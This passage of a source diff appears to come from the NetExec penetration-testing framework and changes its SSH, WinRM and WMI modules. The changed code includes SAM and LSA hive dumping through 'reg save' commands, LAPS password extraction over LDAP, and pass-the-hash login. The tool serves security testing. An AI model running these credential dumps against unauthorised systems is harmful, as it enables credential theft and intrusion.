self.logger.debug(f"Getting user info for users: {user_ids}")
|
||||
users = []
|
||||
|
||||
for user in user_ids:
|
||||
self.logger.debug(f"Calling hSamrOpenUser for RID {user}")
|
||||
open_user_resp = samr.hSamrOpenUser(
|
||||
self.dce,
|
||||
domain_handle,
|
||||
samr.MAXIMUM_ALLOWED,
|
||||
user
|
||||
)
|
||||
info_user_resp = samr.hSamrQueryInformationUser2(
|
||||
self.dce,
|
||||
open_user_resp["UserHandle"],
|
||||
samr.USER_INFORMATION_CLASS.UserAllInformation
|
||||
)["Buffer"]
|
||||
|
||||
user_info = info_user_resp["All"]
|
||||
user_name = user_info["UserName"]
|
||||
bad_pwd_count = user_info["BadPasswordCount"]
|
||||
user_description = user_info["AdminComment"]
|
||||
last_pw_set = old_large_int_to_datetime(user_info["PasswordLastSet"])
|
||||
if last_pw_set == "1601-01-01 00:00:00":
|
||||
last_pw_set = "<never>"
|
||||
users.append({"name": user_name, "description": user_description, "bad_pwd_count": bad_pwd_count, "last_pw_set": last_pw_set})
|
||||
|
||||
samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"])
|
||||
return users
|
||||
|
||||
def print_user_info(self, users):
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
for user in users:
|
||||
self.logger.debug(f"Full user info: {user}")
|
||||
self.logger.highlight(f"{user['name']:<30}{user['last_pw_set']:<20}{user['bad_pwd_count']:<8}{user['description']} ")
|
||||
|
||||
|
||||
def old_large_int_to_datetime(large_int):
|
||||
combined = (large_int["HighPart"] << 32) | large_int["LowPart"]
|
||||
timestamp_seconds = combined / 10**7
|
||||
start_date = datetime(1601, 1, 1)
|
||||
return (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
|
||||
dce.disconnect()
|
||||
+35
-16
@@ -4,6 +4,7 @@ import uuid
|
||||
import logging
|
||||
import time
|
||||
|
||||
from io import StringIO
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection, highlight
|
||||
from nxc.logger import NXCAdapter
|
||||
@@ -19,7 +20,7 @@ class ssh(connection):
|
||||
self.protocol = "SSH"
|
||||
self.remote_version = "Unknown SSH Version"
|
||||
self.server_os_platform = "Linux"
|
||||
self.uac = ""
|
||||
self.user_principal = "root"
|
||||
super().__init__(args, db, host)
|
||||
|
||||
def proto_flow(self):
|
||||
@@ -181,20 +182,26 @@ class ssh(connection):
|
||||
self.logger.error("Command: 'mkfifo' unavailable, running command with 'sudo' failed")
|
||||
return
|
||||
|
||||
def plaintext_login(self, username, password, private_key=""):
|
||||
def plaintext_login(self, username, password, private_key=None):
|
||||
self.username = username
|
||||
self.password = password
|
||||
private_key = ""
|
||||
stdout = None
|
||||
try:
|
||||
if self.args.key_file or private_key:
|
||||
self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}")
|
||||
self.logger.debug("Logging in with key")
|
||||
|
||||
if self.args.key_file:
|
||||
with open(self.args.key_file) as f:
|
||||
private_key = f.read()
|
||||
|
||||
pkey = paramiko.RSAKey.from_private_key(StringIO(private_key))
|
||||
self.conn.connect(
|
||||
self.host,
|
||||
port=self.port,
|
||||
username=username,
|
||||
passphrase=password if password != "" else None,
|
||||
key_filename=private_key if private_key else self.args.key_file,
|
||||
pkey=pkey,
|
||||
look_for_keys=False,
|
||||
allow_agent=False,
|
||||
)
|
||||
@@ -221,15 +228,13 @@ class ssh(connection):
|
||||
# Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey
|
||||
_, stdout, _ = self.conn.exec_command("id")
|
||||
stdout = stdout.read().decode(self.args.codec, errors="ignore")
|
||||
except AuthenticationException:
|
||||
self.logger.fail(f"{username}:{process_secret(password)}")
|
||||
except SSHException as e:
|
||||
if "Invalid key" in str(e):
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, error: {e}")
|
||||
else:
|
||||
self.logger.exception(e)
|
||||
except Exception as e:
|
||||
self.logger.exception(e)
|
||||
if self.args.key_file:
|
||||
password = f"{process_secret(password)} (keyfile: {self.args.key_file})"
|
||||
if "OpenSSH private key file checkints do not match" in str(e):
|
||||
self.logger.fail(f"{username}:{password} - Could not decrypt key file, wrong password")
|
||||
else:
|
||||
self.logger.fail(f"{username}:{password} {e}")
|
||||
self.conn.close()
|
||||
return False
|
||||
else:
|
||||
@@ -240,11 +245,15 @@ class ssh(connection):
|
||||
_, stdout, _ = self.conn.exec_command("whoami /priv")
|
||||
stdout = stdout.read().decode(self.args.codec, errors="ignore")
|
||||
self.server_os_platform = "Windows"
|
||||
self.user_principal = "admin"
|
||||
if "SeDebugPrivilege" in stdout:
|
||||
self.admin_privs = True
|
||||
elif "SeUndockPrivilege" in stdout:
|
||||
self.admin_privs = True
|
||||
self.uac = "with UAC - "
|
||||
self.user_principal = "admin (UAC)"
|
||||
else:
|
||||
# non admin (low priv)
|
||||
self.user_principal = "admin (low priv)"
|
||||
|
||||
if not stdout:
|
||||
self.logger.debug(f"User: {self.username} can't get a basic shell")
|
||||
@@ -262,13 +271,23 @@ class ssh(connection):
|
||||
if self.args.key_file:
|
||||
self.db.add_admin_user("key", username, password, host_id=host_id, cred_id=cred_id)
|
||||
else:
|
||||
self.db.add_admin_user("plaintext", username, password, host_id=host_id, cred_id=cred_id)
|
||||
self.db.add_admin_user(
|
||||
"plaintext",
|
||||
username,
|
||||
password,
|
||||
host_id=host_id,
|
||||
cred_id=cred_id,
|
||||
)
|
||||
|
||||
if self.args.key_file:
|
||||
password = f"{process_secret(password)} (keyfile: {self.args.key_file})"
|
||||
|
||||
display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if shell_access else ''}"
|
||||
self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()} {highlight(display_shell_access)}")
|
||||
display_shell_access = "{} {} {}".format(
|
||||
f"({self.user_principal})" if self.admin_privs else f"(non {self.user_principal})",
|
||||
self.server_os_platform,
|
||||
"- Shell access!" if shell_access else ""
|
||||
)
|
||||
self.logger.success(f"{username}:{password} {self.mark_pwned()} {highlight(display_shell_access)}")
|
||||
|
||||
return True
|
||||
|
||||
|
||||
@@ -99,7 +99,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
@@ -62,7 +62,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
+149
-44
@@ -1,7 +1,9 @@
|
||||
import binascii
|
||||
import hashlib
|
||||
import os
|
||||
import base64
|
||||
import requests
|
||||
import urllib3
|
||||
import contextlib
|
||||
import logging
|
||||
import xml.etree.ElementTree as ET
|
||||
|
||||
@@ -10,23 +12,22 @@ from datetime import datetime
|
||||
from pypsrp.wsman import NAMESPACES
|
||||
from pypsrp.client import Client
|
||||
|
||||
from impacket.smbconnection import SMBConnection
|
||||
from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes
|
||||
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.helpers.ntlm_parser import parse_challenge
|
||||
from nxc.protocols.ldap.laps import LDAPConnect, LAPSv2Extract
|
||||
from nxc.logger import NXCAdapter
|
||||
|
||||
|
||||
urllib3.disable_warnings()
|
||||
|
||||
|
||||
class winrm(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.domain = ""
|
||||
self.targedDomain = ""
|
||||
self.domain = None
|
||||
self.server_os = None
|
||||
self.output_filename = None
|
||||
self.endpoint = None
|
||||
@@ -34,12 +35,10 @@ class winrm(connection):
|
||||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
self.ssl = False
|
||||
self.challenge_header = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
def proto_logger(self):
|
||||
# For more details, please check the function "print_host_info"
|
||||
logging.getLogger("pypsrp").disabled = True
|
||||
logging.getLogger("pypsrp.wsman").disabled = True
|
||||
self.logger = NXCAdapter(
|
||||
@@ -52,26 +51,141 @@ class winrm(connection):
|
||||
)
|
||||
|
||||
def enum_host_info(self):
|
||||
ntlm_info = parse_challenge(base64.b64decode(self.challenge_header.split(" ")[1].replace(",", "")))
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
# smb no open, specify the domain
|
||||
if self.args.no_smb:
|
||||
self.domain = self.args.domain
|
||||
else:
|
||||
try:
|
||||
smb_conn = SMBConnection(self.host, self.host, None, timeout=5)
|
||||
no_ntlm = False
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
|
||||
else:
|
||||
try:
|
||||
smb_conn.login("", "")
|
||||
except BrokenPipeError:
|
||||
self.logger.fail("Broken Pipe Error while attempting to login")
|
||||
except Exception as e:
|
||||
if "STATUS_NOT_SUPPORTED" in str(e):
|
||||
# no ntlm supported
|
||||
no_ntlm = True
|
||||
|
||||
self.db.add_host(self.host, self.port, self.hostname, self.targetDomain, self.server_os)
|
||||
self.domain = smb_conn.getServerDNSDomainName() if not no_ntlm else self.args.domain
|
||||
self.hostname = smb_conn.getServerName() if not no_ntlm else self.host
|
||||
self.server_os = smb_conn.getServerOS()
|
||||
if isinstance(self.server_os.lower(), bytes):
|
||||
self.server_os = self.server_os.decode("utf-8")
|
||||
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
smb_conn.logoff()
|
||||
|
||||
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os)
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
|
||||
if self.domain is None:
|
||||
self.domain = ""
|
||||
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
|
||||
|
||||
def laps_search(self, username, password, ntlm_hash, domain):
|
||||
ldapco = LDAPConnect(self.domain, "389", self.domain)
|
||||
|
||||
if self.kerberos:
|
||||
if self.kdcHost is None:
|
||||
self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
|
||||
return False
|
||||
|
||||
connection = ldapco.kerberos_login(
|
||||
domain,
|
||||
username[0] if username else "",
|
||||
password[0] if password else "",
|
||||
ntlm_hash[0] if ntlm_hash else "",
|
||||
kdcHost=self.kdcHost,
|
||||
aesKey=self.aesKey,
|
||||
)
|
||||
else:
|
||||
connection = ldapco.auth_login(
|
||||
domain,
|
||||
username[0] if username else "",
|
||||
password[0] if password else "",
|
||||
ntlm_hash[0] if ntlm_hash else "",
|
||||
)
|
||||
if not connection:
|
||||
self.logger.fail(f"LDAP connection failed with account {username[0]}")
|
||||
return False
|
||||
|
||||
search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
|
||||
attributes = [
|
||||
"msLAPS-EncryptedPassword",
|
||||
"msLAPS-Password",
|
||||
"ms-MCS-AdmPwd",
|
||||
"sAMAccountName",
|
||||
]
|
||||
results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
|
||||
msMCSAdmPwd = ""
|
||||
sAMAccountName = ""
|
||||
username_laps = ""
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
|
||||
if len(results) != 0:
|
||||
for host in results:
|
||||
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]}
|
||||
if "mslaps-encryptedpassword" in values:
|
||||
from json import loads
|
||||
|
||||
msMCSAdmPwd = values["mslaps-encryptedpassword"]
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), username[0] if username else "", password[0] if password else "", domain, ntlm_hash[0] if ntlm_hash else "", self.args.kerberos, self.args.kdcHost, 339)
|
||||
data = d.run()
|
||||
r = loads(data)
|
||||
msMCSAdmPwd = r["p"]
|
||||
username_laps = r["n"]
|
||||
elif "mslaps-password" in values:
|
||||
from json import loads
|
||||
|
||||
r = loads(str(values["mslaps-password"]))
|
||||
msMCSAdmPwd = r["p"]
|
||||
username_laps = r["n"]
|
||||
elif "ms-mcs-admpwd" in values:
|
||||
msMCSAdmPwd = str(values["ms-mcs-admpwd"])
|
||||
else:
|
||||
self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
|
||||
self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
|
||||
else:
|
||||
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
|
||||
return False
|
||||
|
||||
self.username = username_laps if username_laps else self.args.laps
|
||||
self.password = msMCSAdmPwd
|
||||
|
||||
if msMCSAdmPwd == "":
|
||||
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
|
||||
return False
|
||||
if ntlm_hash:
|
||||
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
|
||||
self.hash = binascii.hexlify(hash_ntlm).decode()
|
||||
|
||||
self.domain = self.hostname
|
||||
return True
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.extra["protocol"] = "WINRM-SSL" if self.ssl else "WINRM"
|
||||
self.logger.extra["port"] = self.port
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
||||
|
||||
if self.args.laps:
|
||||
return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
|
||||
return True
|
||||
|
||||
def create_conn_obj(self):
|
||||
@@ -81,14 +195,6 @@ class winrm(connection):
|
||||
|
||||
endpoints = {}
|
||||
|
||||
headers = {
|
||||
"Content-Length": "0",
|
||||
"Keep-Alive": "true",
|
||||
"Content-Type": "application/soap+xml;charset=UTF-8",
|
||||
"User-Agent": "Microsoft WinRM Client",
|
||||
"Authorization": "Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="
|
||||
}
|
||||
|
||||
for protocol in self.args.check_proto:
|
||||
endpoints[protocol] = {}
|
||||
endpoints[protocol]["port"] = self.port[self.args.check_proto.index(protocol)] if len(self.port) == 2 else self.port[0]
|
||||
@@ -103,12 +209,8 @@ class winrm(connection):
|
||||
self.port = endpoints[protocol]["port"]
|
||||
try:
|
||||
self.logger.debug(f"Requesting URL: {endpoints[protocol]['url']}")
|
||||
res = requests.post(endpoints[protocol]["url"], headers=headers, verify=False, timeout=self.args.http_timeout)
|
||||
res = requests.post(endpoints[protocol]["url"], verify=False, timeout=self.args.http_timeout)
|
||||
self.logger.debug(f"Received response code: {res.status_code}")
|
||||
self.challenge_header = res.headers["WWW-Authenticate"]
|
||||
if (not self.challenge_header) or ("Negotiate" not in self.challenge_header):
|
||||
self.logger.info('Failed to get NTLM challenge from target "/wsman" endpoint, maybe isn\'t winrm service.')
|
||||
return False
|
||||
self.endpoint = endpoints[protocol]["url"]
|
||||
self.ssl = endpoints[protocol]["ssl"]
|
||||
return True
|
||||
@@ -120,7 +222,7 @@ class winrm(connection):
|
||||
else:
|
||||
self.logger.info(f"Other ConnectionError to WinRM service: {e}")
|
||||
return False
|
||||
|
||||
|
||||
def check_if_admin(self):
|
||||
wsman = self.conn.wsman
|
||||
wsen = NAMESPACES["wsen"]
|
||||
@@ -133,11 +235,12 @@ class winrm(connection):
|
||||
wsman.enumerate("http://schemas.microsoft.com/wbem/wsman/1/windows/shell", enum_msg)
|
||||
self.admin_privs = True
|
||||
return True
|
||||
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
self.admin_privs = False
|
||||
self.password = password
|
||||
self.username = username
|
||||
if not self.args.laps:
|
||||
self.password = password
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
try:
|
||||
self.conn = Client(
|
||||
@@ -162,7 +265,7 @@ class winrm(connection):
|
||||
self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host) # , user_id=user_id)
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
|
||||
if not self.args.local_auth and self.username != "":
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
return True
|
||||
except Exception as e:
|
||||
@@ -176,13 +279,15 @@ class winrm(connection):
|
||||
self.admin_privs = False
|
||||
lmhash = "00000000000000000000000000000000"
|
||||
nthash = ""
|
||||
self.username = username
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash.find(":") != -1:
|
||||
lmhash, nthash = ntlm_hash.split(":")
|
||||
if not self.args.laps:
|
||||
self.username = username
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash.find(":") != -1:
|
||||
lmhash, nthash = ntlm_hash.split(":")
|
||||
else:
|
||||
nthash = ntlm_hash
|
||||
else:
|
||||
nthash = ntlm_hash
|
||||
|
||||
nthash = self.hash
|
||||
self.lmhash = lmhash
|
||||
self.nthash = nthash
|
||||
self.domain = domain
|
||||
@@ -205,7 +310,7 @@ class winrm(connection):
|
||||
self.db.add_admin_user("hash", domain, self.username, nthash, self.host)
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
|
||||
if not self.args.local_auth and self.username != "":
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
return True
|
||||
|
||||
@@ -229,7 +334,7 @@ class winrm(connection):
|
||||
# Reference: https://github.com/diyan/pywinrm/issues/275
|
||||
if hasattr(e, "code") and e.code == 5:
|
||||
self.logger.fail(f"Execute command failed, current user: '{self.domain}\\{self.username}' has no 'Invoke' rights to execute command (shell type: {shell_type})")
|
||||
|
||||
|
||||
if shell_type == "cmd":
|
||||
self.logger.info("Cannot execute command via cmd, the user probably does not have invoke rights with Root WinRM listener - now switching to Powershell to attempt execution")
|
||||
self.execute(payload, get_output, shell_type="powershell")
|
||||
@@ -255,7 +360,7 @@ class winrm(connection):
|
||||
def sam(self):
|
||||
sam_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
dump_command = f"reg save HKLM\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
try:
|
||||
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
|
||||
@@ -284,7 +389,7 @@ class winrm(connection):
|
||||
def lsa(self):
|
||||
security_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
dump_command = f"reg save HKLM\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
try:
|
||||
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
|
||||
@@ -309,4 +414,4 @@ class winrm(connection):
|
||||
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
|
||||
)
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
LSA.dumpSecrets()
|
||||
@@ -82,7 +82,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
@@ -1,3 +1,6 @@
|
||||
from argparse import _StoreTrueAction
|
||||
|
||||
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
winrm_parser = parser.add_parser("winrm", help="own stuff using WINRM", parents=[std_parser, module_parser])
|
||||
winrm_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
@@ -6,15 +9,18 @@ def proto_args(parser, std_parser, module_parser):
|
||||
winrm_parser.add_argument("--check-proto", nargs="+", default=["http", "https"], help="Choose what prorocol you want to check, default is %(default)s, format: 'http https'(with space separated) or 'single-protocol'")
|
||||
winrm_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
|
||||
winrm_parser.add_argument("--http-timeout", dest="http_timeout", type=int, default=10, help="HTTP timeout for WinRM connections")
|
||||
no_smb_arg = winrm_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
|
||||
|
||||
dgroup = winrm_parser.add_mutually_exclusive_group()
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
|
||||
no_smb_arg.make_required = [domain_arg]
|
||||
|
||||
cgroup = winrm_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
|
||||
cgroup.add_argument("--dump-method", action="store", default="cmd", choices={"cmd", "powershell"}, help="Select shell type in hashes dump")
|
||||
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
cegroup = cgroup.add_mutually_exclusive_group()
|
||||
cegroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cegroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
|
||||
cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
|
||||
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output (default: utf-8). If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
|
||||
@@ -23,3 +29,18 @@ def proto_args(parser, std_parser, module_parser):
|
||||
cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
|
||||
|
||||
return parser
|
||||
|
||||
|
||||
def get_conditional_action(baseAction):
|
||||
class ConditionalAction(baseAction):
|
||||
def __init__(self, option_strings, dest, **kwargs):
|
||||
x = kwargs.pop("make_required", [])
|
||||
super().__init__(option_strings, dest, **kwargs)
|
||||
self.make_required = x
|
||||
|
||||
def __call__(self, parser, namespace, values, option_string=None):
|
||||
for x in self.make_required:
|
||||
x.required = True
|
||||
super().__call__(parser, namespace, values, option_string)
|
||||
|
||||
return ConditionalAction
|
||||
+31
-10
@@ -1,10 +1,10 @@
|
||||
import os
|
||||
import struct
|
||||
import logging
|
||||
|
||||
from io import StringIO
|
||||
from six import indexbytes
|
||||
from datetime import datetime
|
||||
|
||||
from nxc.helpers.ntlm_parser import parse_challenge
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection, dcom_FirewallChecker, requires_admin
|
||||
from nxc.logger import NXCAdapter
|
||||
@@ -18,14 +18,14 @@ from impacket.dcerpc.v5 import transport, epm
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
|
||||
import contextlib
|
||||
|
||||
MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.0"))
|
||||
|
||||
|
||||
class wmi(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.domain = ""
|
||||
self.targetDomain = ""
|
||||
self.domain = None
|
||||
self.hash = ""
|
||||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
@@ -86,6 +86,7 @@ class wmi(connection):
|
||||
def enum_host_info(self):
|
||||
# All code pick from DumpNTLNInfo.py
|
||||
# https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py
|
||||
ntlmChallenge = None
|
||||
|
||||
bind = MSRPCBind()
|
||||
item = CtxItem()
|
||||
@@ -122,25 +123,45 @@ class wmi(connection):
|
||||
if buffer != 0:
|
||||
response = MSRPCHeader(buffer)
|
||||
bindResp = MSRPCBindAck(response.getData())
|
||||
ntlm_info = parse_challenge(bindResp["auth_data"])
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
ntlmChallenge = ntlm.NTLMAuthChallenge(bindResp["auth_data"])
|
||||
|
||||
if ntlmChallenge["TargetInfoFields_len"] > 0:
|
||||
av_pairs = ntlm.AV_PAIRS(ntlmChallenge["TargetInfoFields"][: ntlmChallenge["TargetInfoFields_len"]])
|
||||
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1] is not None:
|
||||
try:
|
||||
self.hostname = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
|
||||
except Exception:
|
||||
self.hostname = self.host
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1] is not None:
|
||||
try:
|
||||
self.domain = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
|
||||
except Exception:
|
||||
self.domain = self.args.domain
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
self.fqdn = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le")
|
||||
if "Version" in ntlmChallenge.fields:
|
||||
version = ntlmChallenge["Version"]
|
||||
if len(version) >= 4:
|
||||
self.server_os = "Windows NT %d.%d Build %d" % (indexbytes(version, 0), indexbytes(version, 1), struct.unpack("<H", version[2:4])[0])
|
||||
else:
|
||||
self.hostname = self.host
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
self.fqdn = f"{self.hostname}.{self.domain}"
|
||||
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.extra["protocol"] = "RPC"
|
||||
self.logger.extra["port"] = "135"
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
||||
return True
|
||||
|
||||
def check_if_admin(self):
|
||||
|
||||
@@ -54,7 +54,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
Generated
